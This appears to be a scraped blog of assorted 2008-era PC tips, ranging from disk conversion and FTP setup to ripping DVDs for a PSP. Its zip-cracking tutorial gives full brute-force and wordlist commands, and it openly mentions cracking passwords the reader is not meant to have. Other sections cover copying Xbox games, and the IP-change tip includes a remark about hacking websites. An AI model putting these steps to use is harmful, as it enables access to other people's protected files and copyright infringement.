If you have a PlayStation and a PC, and do not have a pad for the computer, or simply those that there are in the market seem to you too expensive or any you don't like, you have a great option here. It connects your PlayStation pad (anyone) to your PC conserving ALL its functionality thanks to the excellent driver DirectPad.

Advantages

It enjoys the ample range of pads that exists mainly for PlayStation and, of its compared price those of PC (speaking in terms quality-price).

They work for all pads including the dual-shock pads. Also, with the dual-shock ones you will be able to use both analog controls and the capacity for "vibrating" (Force Feedback) in Windows games that support it (Need Speed III, Incoming, Star Wars Rogue Squadron, Flight Simulator, Forsaken, etc). If you want to see the complete list of games that support the Force Feedback, look here.

You will be able to use ALL the buttons of PlayStation pad in your preferred games, altogether 10 if you use digitals or 16 if you use the analog control.

You can connect simultaneously up to two pads.

With the dual-shock pads you will be able to change between the digital control to analog during any game session.

If you already have standard PC pad you will be able to use it simultaneously without losing functionality in either of them (if connecting two joysticks/pads by a Y connector and to the game port, you will only be able to use 2 buttons in each joystick/pad)

The assembly is not very complicated.

In theory it would have to work with any control system of game for PlayStation (pad of another mark, steering wheel, etc).

Disadvantages

You will only be able to use it in Windows games, since driver it is programmed for DirectX.

If you want to use the dual-shock you will need an external power supply, or steal power from inside the computer.

The connection goes to the parallel port, which means that if you are going to use the printer you change connectors... but it is worth the trouble!

Words before beginning

Following with the preliminaries, I will going to make clear that you do not need any knowledge electronics, although knowing how to solder and know how to handle a multi-meter. If you do not have any idea, or don't want to do it get a friend who knows to help you.

http://www.emulatronia.com/reportajes/directpad/psxeng/index.htm

Convert To Basic And Dynamic Disks In Windows Xp

2008-08-19T23:47:00.000-07:00

Windows XP Professional supports two types of disk storage: basic and dynamic. Basic disk storage uses partition-oriented disks. A basic disk contains basic volumes (primary partitions, extended partitions, and logical drives).

Dynamic disk storage uses volume-oriented disks, and includes features that basic disks do not, such as the ability to create volumes that span multiple disks (spanned and striped volumes).

General Notes
Before you change a basic disk to a dynamic disk, note these items:

You must have at least 1 megabyte (MB) of free space on any master boot record (MBR) disk that you want to convert. This space is automatically reserved when the partition or volume is created in Microsoft Windows 2000 or Windows XP Professional. However, it may not be available on partitions or volumes that are created in other operating systems.

When you convert to a dynamic disk, the existing partitions or logical drives on the basic disk are converted to simple volumes on the dynamic disk.

After you convert to a dynamic disk, the dynamic volumes cannot be changed back to partitions. You must first delete all dynamic volumes on the disk, and then convert the dynamic disk back to a basic disk. If you want to keep your data, you must first back up or move the data to another volume.

After you convert to a dynamic disk, local access to the dynamic disk is limited to Windows XP Professional and Windows 2000.

If your disk contains multiple installations of Windows XP Professional or Windows 2000, do not convert to a dynamic disk. The conversion operation removes partition entries for all partitions on the disk with the exception of the system and boot volumes for the current operating system.

Dynamic disks are not supported on portable computers or Microsoft Windows XP Home Edition.

Before you change a dynamic disk back to a basic disk, note that all existing volumes must be deleted from the disk before you can convert it back to a basic disk. If you want to keep your data, back up the data, or move your data to another volume.

How to Convert a Basic Disk to a Dynamic Disk

To convert a basic disk to a dynamic disk:

1) Log on as Administrator or as a member of the Administrators group.

2) Click Start, and then click Control Panel.

3) Click Performance and Maintenance, click Administrative Tools, and then double-click Computer Management.

4) In the left pane, click Disk Management.

5) In the lower-right pane, right-click the basic disk that you want to convert, and then click Convert to Dynamic Disk.

NOTE:You must right-click the gray area that contains the disk title on the left side of the Details pane. For example, right-click Disk 0.

6) Select the check box that is next to the disk that you want to convert (if it is not already selected), and then clickOK.

7) Click Details if you want to view the list of volumes in the disk.

8) Click Convert.

9) Click Yes when you are prompted to convert, and then click OK.

How to Convert a Dynamic Disk to a Basic Disk

To change a dynamic disk back to a basic disk:

1) Back up all the data on all the volumes on the disk you want to convert to a basic disk.

2) Log on as Administrator or as a member of the Administrators group.

3) Click Start, and then click Control Panel.

4) Click Performance and Maintenance, click Administrative Tools, and then double-click Computer Management.

5) In the left pane, click Disk Management.

6) Right-click a volume on the dynamic disk that you want to change to a basic disk, and then click Delete Volume.

7) Click Yes when you are prompted to delete the volume.

8) Repeat steps 4 and 5 for each volume on the dynamic disk.

9) After you have deleted all the volumes on the dynamic disk, right-click the dynamic disk that you want to change to a basic disk, and then click Convert to Basic Disk.

NOTE:You must right-click the gray area that contains the disk title on the left side of the Details pane. For example, right-click Disk 1.

Converting to NTFS

2008-08-19T23:46:00.001-07:00

Your hard drive must be formatted with a file system such as FAT, FAT32 or NTFS so that Windows can be installed on to it. This system determines how files are named, organised and stored on the drive. If you’re not using it already, NTFS (New Technology File System) is recommended for Windows XP because of the additional functionality it offers. If your PC came with Windows XP pre-installed then there’s a chance that you’re already using NTFS. If you’ve upgraded from Windows 98 or Windows Me you may still be using FAT or FAT 32. The option to change over to NTFS would have been available during the upgrade process. Don’t worry if you skipped this as it’s possible to convert at any time from within Windows XP without losing any data.

The recommended option
There are a number of features in Windows XP that will only work if the NTFS file system is present, which is why it’s suggested you make use of it. File and folder permissions, encryption and privacy options are just some of those you’ll be able to access. In particular, those of you who have set up user accounts will find NTFS invaluable. For instance, if you continue to use FAT or FAT32 anyone with physical access to the drive will be able to access the files and folders that are stored there. However, with NTFS you’ll be able to use a level of encryption (Professional Edition only) that will enable you to protect your data.

You’ll also find NTFS more reliable in that it’s more able to recover from disk errors than its FAT or FAT32 counterparts. A log of all disk activity is kept so should a crash occur, Windows XP can use this information to repair the file system when your PC boots up again. To find out what file system you’re using, open My Computer, right-click your main hard drive and choose Properties. Take a look at the General tab to see confirmation of the file system that’s in use.

Convert now
You can use the convert tool in Windows XP to change the file system on your hard disk from FAT or FAT32 to NTFS. The whole process is safe and your existing data won’t be destroyed. To begin, click Start -> Run, type cmd and press [Return]. At the command prompt type convert c: /fs:ntfs and press [Return] (where ‘c’ is the letter of the drive you’re converting). When you try and run the convert utility, it’s likely that Windows XP will be using your paging file so the process won’t be completed immediately. Therefore, you’ll see a brief message on screen informing you that the conversion will take place instead the next time Windows starts up. Having restarted, the Check Disk utility will run, the conversion will be performed automatically and you may find that your PC will reboot twice more.

The benefits
With your drive now running NTFS, it’s time to take advantage of the new options that are available. Having created a number of different user accounts you can now control the level of access that’s granted to individual users. For example, there are going to be certain files and folders that you’ll want some users to be able to access but not others. If you have Windows XP Professional Edition you can do this immediately.

Right-click any file or folder, choose Properties and select the Security tab. A dialog will be displayed showing the names of all your users. Alongside will be two columns which enable you to select levels of access for each of them, the permissions include Full Control, Modify, Read and Write. You can then check the appropriate box to determine whether or not to Allow or Deny a particular permission. For Windows XP Home Edition users, the Security tab won’t be immediately available. To access this option you’ll need to restart your PC, pressing [F8] until a menu appears. Next select Safe Mode and wait for Windows XP to start up. You can then set your options in the same way.

Another feature is NTFS compression. It’s quick and seamless as your file or folder is decompressed automatically when you access it. (Don’t confuse this with a Zip compression utility where the files need to be extracted before they can be accessed.) Although you may have used NTFS compression on a file or folder, there’s no way of telling just by looking at it. To remedy this, open My Computer, click Tools -> Folder Options and select the View tab. Under Advanced settings, scroll down and check the option ‘Show encrypted or compressed NTFS files in color’, then click Apply and OK. Take a look at your compressed items in My Computer and you’ll see the text label has changed from black to blue. Something else that’s exclusive to Professional Edition users is the Encrypting File System (EFS). You can use this to protect your important data so that no one else can read it. Your encrypted files and folders will only be accessible when you have logged into your user account successfully.

Converting Movies To Psp Format

2008-08-19T23:46:00.000-07:00

Hey again, this is a real quick guide for anyone interested to get a movie onto there PSP without all the fluff i have seen elsewhere. I just watched Africa the Serengeti on my PSP and heres is the lowdown.

Movie - approx 40 minutes - dvd
Saved to hard drive - 2.6GIG - using DVD Decryptor (free program) try google
Transfered to avi format - 377MB- using Super DVD Ripper (9 FREE trial uses) then you must buy
Transfered to MP4 - 37MB - using the (basically free) Image convertor 2

Average movie breakdown - using above as a guide only.
so im guessing the average movie may be 4.5gig for example
saved to 800MB
CONVERTED TO 70-80MB

Ok use DVD decryptor to save the movie to your hard drive eg. C:\africa (it will save it for you as described)
When completed find the folder c:\africa on your computer and find the vob file in that folder - generally the largest one and right click and play it with your dvd program to see what part it is. If its the correct movie part you now know thats the one you need.

Once you have located the vob file you want to transfer open DVD Ripper and go to wizard icon. There you will see an icon of VOB to AVI button. Click it and then it will ask to locate the file. Locate the file and click it. It will SCAN THE FILE(just wait till that finishes) a parameter box opens next and just click the arrow. It then askes to choose output file, click the file icon and locate the correct fob file. It then askes for file compression - choose microsoft windows media and then click ok Then press the start button. It will now convert the vob into avi format.
(there are also other opions ie;dvd to avi etc) I have only used the vob to avi for this test.

After DVD ripper has transferred the file it will save it to the same folder as the original move was in eg: c:\africa\viteots. Open the file and you will now see an AVI icon containing the movie.

Make sure you PSP is on and in usb mode then Open Image convertor 2 and press on movie / add to list. For this example i click on C:drive the found the folder Africa and opened it and there was my converted AVI file. Click the file press ok and it will be transfered to your PSP for viewing pleasure.

*****Note**** i only converted one VOB file as thatS all there was for this particular movie. If you have more then one vob file you may need to try the dvd to avi when you rip. This is just a guide i worked out to compress dvd into the smallest possible file so you can get value out of a 512 card.

QUOTE
http://www.crazyhatsoftware.com/ImageConverter2.1.exe

Image Converter 2.1 JAP translated to ENG.

Cracking Zip Password Files

2008-08-19T23:45:00.001-07:00

What is FZC? FZC is a program that cracks zip files (zip is a method of compressing multiple files into one smaller file) that are password-protected (which means you're gonna need a password to open the zip file and extract files out of it). You can get it anywhere - just use a search engine such as altavista.com.
FZC uses multiple methods of cracking - bruteforce (guessing passwords systematically until the program gets it) or wordlist attacks (otherwise known as dictionary attacks. Instead of just guessing passwords systematically, the program takes passwords out of a "wordlist", which is a text file that contains possible passwords. You can get lots of wordlists at www.theargon.com.).
FZC can be used in order to achieve two different goals: you can either use it to recover a lost zip password which you used to remember but somehow forgot, or to crack zip passwords which you're not supposed to have. So like every tool, this one can be used for good and for evil.
The first thing I want to say is that reading this tutorial... is the easy way to learn how to use this program, but after reading this part of how to use the FZC you should go and check the texts that come with that program and read them all. You are also going to see the phrase "check name.txt" often in this text. These files should be in FZC's directory. They contain more information about FZC.
FZC is a good password recovery tool, because it's very fast and also support resuming so you don't have to keep the computer turned on until you get the password, like it used to be some years ago with older cracking programs. You would probably always get the password unless the password is longer than 32 chars (a char is a character, which can be anything - a number, a lowercase or undercase letter or a symbol such as ! or &) because 32 chars is the maximum value that FZC will accept, but it doesn't really matter, because in order to bruteforce a password with 32 chars you'll need to be at least immortal..heehhe.. to see the time that FZC takes with bruteforce just open the Bforce.txt file, which contains such information.
FZC supports brute-force attacks, as well as wordlist attacks. While brute-force attacks don't require you to have anything, wordlist attacks require you to have wordlists, which you can get from www.theargon.com. There are wordlists in various languages, various topics or just miscellaneous wordlists. The bigger the wordlist is, the more chances you have to crack the password.
Now that you have a good wordlist, just get FZC working on the locked zip file, grab a drink, lie down and wait... and wait... and wait...and have good thoughts like "In wordlist mode I'm gonna get the password in minutes" or something like this... you start doing all this and remember "Hey this guy started with all this bullshit and didn't say how I can start a wordlist attack!..." So please wait just a little more, read this tutorial 'till the end and you can do all this "bullshit".

We need to keep in mind that are some people might choose some really weird passwords (for example: 'e8t7@$^%*gfh), which are harder to crack and are certainly impossible to crack (unless you have some weird wordlist). If you have a bad luck and you got such a file, having a 200MB list won't help you anymore. Instead, you'll have to use a different type of attack. If you are a person that gives up at the first sign of failure, stop being like that or you won't get anywhere. What you need to do in such a situation is to put aside your sweet xxx MB's list and start using the Brute Force attack.
If you have some sort of a really fast and new computer and you're afraid that you won't be able to use your computer's power to the fullest because the zip cracker doesn't support this kind of technology, it's your lucky day! FZC has multiple settings for all sorts of hardware, and will automatically select the best method.

Now that we've gone through all the theoretical stuff, let's get to the actual commands.

--------------------------------------------------------------------------------
Bruteforce
--------------------------------------------------------------------------------

The command line you'll need to use for using brute force is:

fzc -mb -nzFile.zip -lChr Lenght -cType of chars

Now if you read the bforce.txt that comes with fzc you'll find the description of how works Chr Lenght and the Type of chars, but hey, I'm gonna explain this too. Why not, right?... (but remember look at the bforce.txt too)

For Chr Lenght you can use 4 kind of switches...

-> You can use range -> 4-6 :it would brute force from 4 Chr passwors to 6 chr passwords
-> You can use just one lenght -> 5 :it would just brute force using passwords with 5 chars
-> You can use also the all number -> 0 :it would start brute forcing from passwords with lenght 0 to lenght 32, even if you are crazy i don't think that you would do this.... if you are thinking in doing this get a live...
-> You can use the + sign with a number -> 3+ :in this case it would brute force from passwords with lenght 3 to passwords with 32 chars of lenght, almost like the last option...

For the Type of chars we have 5 switches they are:

-> a for using lowercase letters
-> A for using uppercase letters
-> ! for using simbols (check the Bforce.txt if you want to see what simbols)
-> s for using space
-> 1 for using numbers

Example:
If you want to find a password with lowercase and numbers by brute force you would just do something like:

fzc -mb -nzTest.zip -l4-7 -ca1

This would try all combinations from passwords with 4 chars of lenght till 7 chars, but just using numbers and lowercase.

*****
hint
*****

You should never start the first brute force attack to a file using all the chars switches, first just try lowercase, then uppercase, then uppercase with number then lowercase with numbers, just do like this because you can get lucky and find the password much faster, if this doesn't work just prepare your brain and start with a brute force that would take a lot of time. With a combination like lowercase, uppercase, special chars and numbers.

--------------------------------------------------------------------------------
Wordlis
--------------------------------------------------------------------------------

Like I said in the bottom and like you should be thinking now, the wordlist is the most powerfull mode in this program. Using this mode, you can choose between 3 modes, where each one do some changes to the text that is in the wordlist, I'm not going to say what each mode does to the words, for knowing that just check the file wlist.txt, the only thing I'm going to tell you is that the best mode to get passwords is mode 3, but it takes longer time too.
To start a wordlist attak you'll do something like.

fzc -mwMode number -nzFile.zip -nwWordlist

Where:

Mode number is 1, 2 or 3 just check wlist.txt to see the changes in each mode.
File.zip is the filename and Wordlist is the name of the wordlist that you want to use. Remember that if the file or the wordlist isn't in the same directory of FZC you'll need to give the all path.

You can add other switches to that line like -fLine where you define in which line will FZC start reading, and the -lChar Length where it will just be read the words in that char length, the switche works like in bruteforce mode.
So if you something like

fzc -mw1 -nztest.zip -nwMywordlist.txt -f50 -l9+

FZC would just start reading at line 50 and would just read with length >= to 9.

Example:

If you want to crack a file called myfile.zip using the "theargonlistserver1.txt" wordlist, selecting mode 3, and you wanted FZC to start reading at line 50 you would do:

fzc -mw3 -nzmyfile.zip -nwtheargonlistserver1.txt -f50

--------------------------------------------------------------------------------
Resuming
--------------------------------------------------------------------------------

Other good feature in FZC is that FZC supports resuming. If you need to shutdown your computer and FZC is running you just need to press the ESC key, and fzc will stop. Now if you are using a brute force attack the current status will be saved in a file called resume.fzc but if you are using a wordlist it will say to you in what line it ended (you can find the line in the file fzc.log too).
To resume the bruteforce attack you just need to do:

fzc -mr

And the bruteforce attack will start from the place where it stopped when you pressed the ESC key.
But if you want to resume a wordlist attack you'll need to start a new wordlist attack, saying where it's gonna start. So if you ended the attack to the file.zip in line 100 using wordlist.txt in mode 3 to resume you'll type

fzc -mw3 -nzfile.zip -nwwordlist.txt -f100

Doing this FZC would start in line 100, since the others 99 lines where already checked in an earlier FZC session.

Well, it looks like I covered most of what you need to know. I certainly hope it helped you... don't forget to read the files that come with the program

COPY X BOX GAMES

2008-08-19T23:45:00.000-07:00

BURNING X-BOX & GAMECUBE GAMES USEING CDRWIN
------------------------------------------------------
1) Insert your original in your CD-ROM.
2) Open CDRWin (or any other image extractor) to make an iso image of the game
on your hard disc. Click on 'Extract Disc/Tracks/Sectors'
3) Here are the settings which work for me (!):
Disc Image/Cue sheet
File-Format: Automatic
Reading-Options:
RAW, CD+G, CD-TEXT and MCN/USRC all Unchecked
Error Recovery: Ignore
Jitter Correction: Auto
Subcode Analyses: Fixed
Data-Speed: MAX
Read Retry Count: 10
Audio Speed: MAX
Subcode Threshold: 900
There are a lot of reports, that Raw reading also works, but I had problems with it enabled.
4) Click on 'Start'
--------------------------------------------------------------------------------
RECORDING TO A DISC
--------------------------------------------------------------------------------
1) Install Fireburner

2) Double click on the Cue File For The Game
3) Right Click And select burn To CD
That?s all there is record DAO, and you can try to burn it fast at 2X
Using PNY Black Diamond CDR'

Create A Huge File

2008-08-19T23:44:00.000-07:00

You can create a file of any size using nothing more than what's supplied with Windows. Start by converting the desired file size into hexadecimal notation. You can use the Windows Calculator in Scientific mode do to this. Suppose you want a file of 1 million bytes. Enter 1000000 in the calculator and click on the Hex option to convert it (1 million in hex is F4240.) Pad the result with zeroes at the left until the file size reaches eight digits—000F4240.

Now open a command prompt window. In Windows 95, 98, or Me, you can do this by entering COMMAND in the Start menu's Run dialog; in Windows NT 4.0, 2000, or XP enter CMD instead. Enter the command DEBUG BIGFILE.DAT and ignore the File not found message. Type RCX and press Enter. Debug will display a colon prompt. Enter the last four digits of the hexadecimal number you calculated (4240, in our example). Type RBX and press Enter, then enter the first four digits of the hexadecimal size (000F, in our example). Enter W for Write and Q for Quit. You've just created a 1-million-byte file using Debug. Of course you can create a file of any desired size using the same technique.

Create Bootable XP SP integrated CD

2008-08-19T23:43:00.001-07:00

Slipstreaming Windows XP Service Pack 1a and Create Bootable CD

Slipstreaming a Service Pack, is the process to integrate the Service Pack into the installation so that with every new installation the Operating System and Service Pack are installed at the same time.

Slipstreaming is usually done on network shares on corporate systems. But with the advent of CD burners, it does actually make some sense for the home user or small business user to do the same.

Microsoft added the ability to Slipstream a Service Pack to Windows 2000 and Windows XP. It not only has the advantage that when you (re)install your OS, you don't have to apply the Service Pack later, also if you update any Windows component later, you'll be sure that you get the correct installation files if Windows needs any.

Slipstream Windows XP Service Pack 1a:
CODE
http://download.microsoft.com/download/5/4/f/54f8bcf8-bb4d-4613-8ee7-db69d01735ed/xpsp1a_en_x86.exe

Download the (full) "Network Install" of the Service Pack (English version [125 MB]), and save it to a directory (folder) on your hard drive (in my case D:\XP-SP1). Other languages can be downloaded from the Windows XP Web site.

Microsoft recently released Windows XP SP1a. The only difference is that this Service Pack does no longer include Microsoft's dated Java version. If you have already installed Windows XP SP1, there is no reason to install SP1a, but the "older" SP1 (with MS Java) is no longer available for download.

Next copy your Windows XP CD to your hard drive. Just create a folder (I used \XP-CD), and copy all the contents of your Windows XP CD in that folder.

Now create a folder to hold the Service Pack 1a (SP1a) files you are about to extract. I named it \XP-SP1. Next, open a Command Prompt (Start > Run > cmd), and go to the folder where you downloaded SP1a (cd \foldername). Type the command: servicepack filename -x. A small window will appear, and you need to point it to the folder where you want to extract the SP1 files. Click Ok to start extracting the SP1a files.

Once the SP1a files are extracted, change to the update folder of the SP1a files (cd update), and type the following command: update /s:path to WinXP CD files. In my example the command is update /s:D:\XP-CD).

Windows XP Update will do its thing:

When ready, you should get a confirmation. Windows XP Service Pack 1a has now been Slipstreamed into your original Windows XP files.

It is also possible to add the Windows XP Rollup 1 Update. For instructions, please read Adding Windows XP Rollup 1 Hotfix.

Creating a Bootable CD
For this part I used ISO Buster
CODE
http://www.smart-projects.net/isobuster/

and Nero Burning.

Start to extract the boot loader from the original Windows XP CD. Using ISO Buster, select the "folder" Bootable CD, and right-click Microsoft Corporation.img. From the menu choose Extract Microsoft Corporation.img, and extract it to the folder on your hard drive where you have your Windows XP files (D:\XP-CD in my case).

Next, start Nero Burning ROM, and choose CD-ROM (Boot) in the New Compilation window. On the Boot tab, select Image file under Source of boot image data, and browse to the location of the Microsoft Corporation.img file. Also enable Expert Settings, choosing No Emulation, and changing the Number of loaded sectors to 4 (otherwise it won't boot!)

If you have an older version of Nero you won't have the option Do Not Add ";1" ISO file version extention under Relax ISO Restrictions. You won't be able to boot your new CD, so update Nero!
You can configure the Label tab to your liking, I would however recommend that you keep the Volume Label the same as on your original Windows XP CD.

Next press New, and drag & drop the files and folders from your Windows XP hard drive location into Nero.

Next, burn your new CD.

You now have a Bootable, Slipstreamed Windows XP Service Pack 1a CD!

Create An Ftp Server On Your Pc With Serv-u

2008-08-19T23:43:00.000-07:00

Requirements:
Serv-U
No-IP.com Website

Quote:
Step 1. Getting a static IP address.
Get a static address for your FTP server. You will want to do this as opposed to using your IP address for several reasons. First, it’s easier keeping up-to-date. Imagine having to change all of your setting every time your IP changed. With No-IP, the No-IP service runs in background on your computer and updates your current IP address with your FTP server’s URL (for example, you get ftp://rkchoolie.serveftp.com). Second reason, you don’t want your IP address posted out there for everyone to see.

1. Go to www.No-IP.com to create a new user account.
2. Fill in the information that is required and the click Register button.
3. Your account has now been created and your account password has been emailed to you.
4. Check your email mailbox and wait for the mail that contains your password
5. Go back to www.No-IP.com and type your email address and password to login to your account.
6. Once in your account, click on Add a host in the left menu
7. Type in the Hostname you want (example: rkchoolie) and pick a Domain from the list (example: ftpserve.com)
8. Check Allow Wildcards and click the Submit button
9. You now have your static address (example: rkchoolie.serveftp.com)
10. Click on your OS link in the Dyn-Update Client in the bottom right menu and follow links to download the client
11. Once downloaded, install the software and type in your email address and password when asked.
12. Finally tick the checkbox near your static address.

You now have a static web address .

Quote:
Step 2. Installing and setting the FTP server
1. Install Serv-U 4.0.
2. Start Serv-U and use the wizard to setup your ftp.
3. Click next until you're asked for an IP address, leave it blank and then click next.
4. Type the domain name you've just registered above (example: preacher.serveftp.com) in the domain name field and then click Next.
5. You are asked if you want to allow anonymous access, select No and then click next.
6. You are then asked to create a named account, check yes and then click next.
7. Type in the user name you wish for this account (example: Harrie) and click next.
8. Type a password for this account (example: $p3c1aL). For security reasons, try to create a password with some letters, numbers and special characters. Then click next.
9. You will then be asked for the Home directory of the account you just created. Select the directory and then click next.
10. Select yes to lock this account to the Home directory. You want to do this so that the user can not go any further up that his home directory. Click next.
11. The account is now set so click finish.

Quote:
Step 3. Configuring user accounts
1. In the left tree-menu, select the account you've just created and then click on the General tab.
2. Check Hide ‘Hidden’ Files.
3. Check Allow only and enter the number one in the box.
4. Set the Max. download speed to what ever you want. If this is an account that many will be using, set it low to save on your bandwidth. I usually have mine set between 10 – 20. If you leave it blank, users will be able to download from you at full bandwidth.
5. Set the Max no. of users to how many you want to be able to log on at one time. This depends on your connection speed but try these (56 - 1, ISDN - 3, ADSL or cable - 5-6 users.)
6. Now, click on the Dir Access tab.
7. You should see the home folder in there. Highlight it and make your permissions.
8. If you only want users to be able to download check only Read, List, & Inherit.
9. If you want users to be able to upload, but to only one particular folder but not download, click the add button and then select that folder. Now highlight the folder and set these permissions on that folder. Check Write, Append, List, Create, & Inherit. Once you have made the permissions click on the up arrow that is located at the bottom right-hand corner. You want this special upload folder to be list first, before the home folder.
10. If there is a folder that you don’t want anyone to have access to, but it is inside the home folder, then click the add button and then select that folder. Now highlight the folder and make sure that all checkboxes are left. Once you have made the permissions click on the up arrow that is located at the bottom right-hand corner. You want this no access folder to be listed at the very top.
11. There are many other different sets of permissions you can play with. I just covered your basics.
12. Your server is now set!
13. Try logging on with the username and password and see if it works.

Create One-click Shutdown And Reboot Shortcuts

2008-08-19T23:42:00.000-07:00

Create One-Click Shutdown and Reboot Shortcuts:

First, create a shortcut on your desktop by right-clicking on the desktop, choosing New, and then choosing Shortcut. The Create Shortcut Wizard appears. In the box asking for the location of the shortcut, type shutdown. After you create the shortcut, double-clicking on it will shut down your PC.

But you can do much more with a shutdown shortcut than merely shut down your PC. You can add any combination of several switches to do extra duty, like this:

shutdown -r -t 01 -c "Rebooting your PC"
Double-clicking on that shortcut will reboot your PC after a one-second delay and display the message "Rebooting your PC." The shutdown command includes a variety of switches you can use to customize it. Table 1-3 lists all of them and describes their use.

I use this technique to create two shutdown shortcuts on my desktop—one for turning off my PC, and one for rebooting. Here are the ones I use:

shutdown -s -t 03 -c "Bye Bye m8!"
shutdown -r -t 03 -c "Ill be back m8 ;)!"

Switch
What it does

-s
Shuts down the PC.

-l
Logs off the current user.

-t nn
Indicates the duration of delay, in seconds, before performing the action.

-c "messagetext"
Displays a message in the System Shutdown window. A maximum of 127 characters can be used. The message must be enclosed in quotation marks.

-f
Forces any running applications to shut down.

-r
Reboots the PC.

Change Text on XP Start Button

2008-08-19T23:41:00.000-07:00

Step 1 - Modify Explorer.exe File

In order to make the changes, the file explorer.exe located at C:\Windows needs to be edited. Since explorer.exe is a binary file it requires a special editor. For purposes of this article I have used Resource Hacker. Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Microsoft Windows 95/98/ME, Windows NT, Windows 2000 and Windows XP operating systems.

get this from h**p://delphi.icm.edu.pl/ftp/tools/ResHack.zip

The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe.

The category we are going to be using is "String Table". Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button.

There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry. In my case I used Click Me!

You’ll notice that after the new text string has been entered the Compile Script button that was grayed out is now active. I won’t get into what’s involved in compiling a script, but suffice it to say it’s going to make this exercise worthwhile. Click Compile Script and then save the altered file using the Save As command on the File Menu. Do not use the Save command – Make sure to use the Save As command and choose a name for the file. Save the newly named file to C:\Windows.

Step 2 – Modify the Registry

!!!make a backup of your registry before making changes!!!

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open field. Navigate to:

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

In the right pane, double click the "Shell" entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.

Change Your Ip In Less Then 1 Minute

2008-08-19T23:40:00.000-07:00

1. Click on "Start" in the bottom left hand corner of screen
2. Click on "Run"
3. Type in "command" and hit ok

You should now be at an MSDOS prompt screen.

4. Type "ipconfig /release" just like that, and hit "enter"
5. Type "exit" and leave the prompt
6. Right-click on "Network Places" or "My Network Places" on your desktop.
7. Click on "properties"

You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you have a network hooked up, all of your other networks.

8. Right click on "Local Area Connection" and click "properties"
9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
10. Click on "Use the following IP address" under the "General" tab
11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up).
12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
13. Hit the "Ok" button here
14. Hit the "Ok" button again

You should now be back to the "Local Area Connection" screen.

15. Right-click back on "Local Area Connection" and go to properties again.
16. Go back to the "TCP/IP" settings
17. This time, select "Obtain an IP address automatically"
tongue.gif 18. Hit "Ok"
19. Hit "Ok" again
20. You now have a new IP address

With a little practice, you can easily get this process down to 15 seconds.

P.S:
This only changes your dynamic IP address, not your ISP/IP address. If you plan on hacking a website with this trick be extremely careful, because if they try a little, they can trace it back

Subway Reduce Their Carbon Footprint by Another Little Bit

2008-08-19T03:40:00.000-07:00

Doctors Associates International, owners of Subway, they have over 29,546 franchised units in 87 countries and are keen to promote environmental issues, and through their current slogan "Subway, Eat Fresh, Live Green".

This campaign part of Subway's corporate social responsibility program that is currently under development. You can find some of the exceptionally impressive carbon reduction measures already implemented in our Fast Food with a Conscience.

One new measure implemented by Subway is an increase in content of napkins per case by 17%, without an increase in pack size, up to 5850 napkins from 5000. The idea is 17% less space in storage, trucks, containers, saving CO2 in transport, storage and packaging. Saving about 661 cubic inches per pack. Packs will start arriving to stores later this month. Subway napkins already save approximately 60,500,000 gallons of water and an additional 147,000 trees annually because they are made from 100% recycled fiber processed chlorine free.

Related Articles
Fast Food with a Conscience?
How Many Trees Died for Our Phone Books?
New Products Added to Carbon Label Scheme

Check For Dos, Check to see if you are infected

2008-08-19T00:10:00.001-07:00

When you first turn on you computer (BEFORE DIALING INTO YOUR ISP),
open a MS-DOS Prompt window (start/programs MS-DOS Prompt).
Then type netstat -arn and press the Enter key.
Your screen should display the following (without the dotted lines
which I added for clarification).

-----------------------------------------------------------------------------
Active Routes:

Network Address Netmask Gateway Address Interface Metric
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
255.255.255.255 255.255.255.255 255.255.255.255 0.0.0.0 1

Route Table

Active Connections

Proto Local Address Foreign Address State

--------------------------------------------------------------------------------

If you see anything else, there might be a problem (more on that later).
Now dial into your ISP, once you are connected;
go back to the MS-DOS Prompt and run the same command as before
netstat -arn, this time it will look similar to the following (without
dotted lines).

-------------------------------------------------------------------------------------

Active Routes:

Network Address Netmask Gateway Address Interface Metric
0.0.0.0 0.0.0.0 216.1.104.70 216.1.104.70 1
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
216.1.104.0 255.255.255.0 216.1.104.70 216.1.104.70 1
216.1.104.70 255.255.255.255 127.0.0.1 127.0.0.1 1
216.1.104.255 255.255.255.255 216.1.104.70 216.1.104.70 1
224.0.0.0 224.0.0.0 216.1.104.70 216.1.104.70 1
255.255.255.255 255.255.255.255 216.1.104.70 216.1.104.70 1

Route Table

Active Connections

Proto Local Address Foreign Address State
TCP 0.0.0.0:0 0.0.0.0:0 LISTENING
TCP 216.1.104.70:137 0.0.0.0:0 LISTENING
TCP 216.1.104.70:138 0.0.0.0:0 LISTENING
TCP 216.1.104.70:139 0.0.0.0:0 LISTENING
UDP 216.1.104.70:137 *:*

--------------------------------------------------------------------------------

What you are seeing in the first section (Active Routes) under the heading of
Network Address are some additional lines. The only ones that should be there
are ones belonging to your ISP (more on that later). In the second section
(Route Table) under Local Address you are seeing the IP address that your ISP
assigned you (in this example 216.1.104.70).

The numbers are divided into four dot notations, the first three should be
the same for both sets, while in this case the .70 is the unique number
assigned for THIS session. Next time you dial in that number will more than
likely be different.

To make sure that the first three notation are as they should be, we will run
one more command from the MS-DOS window.
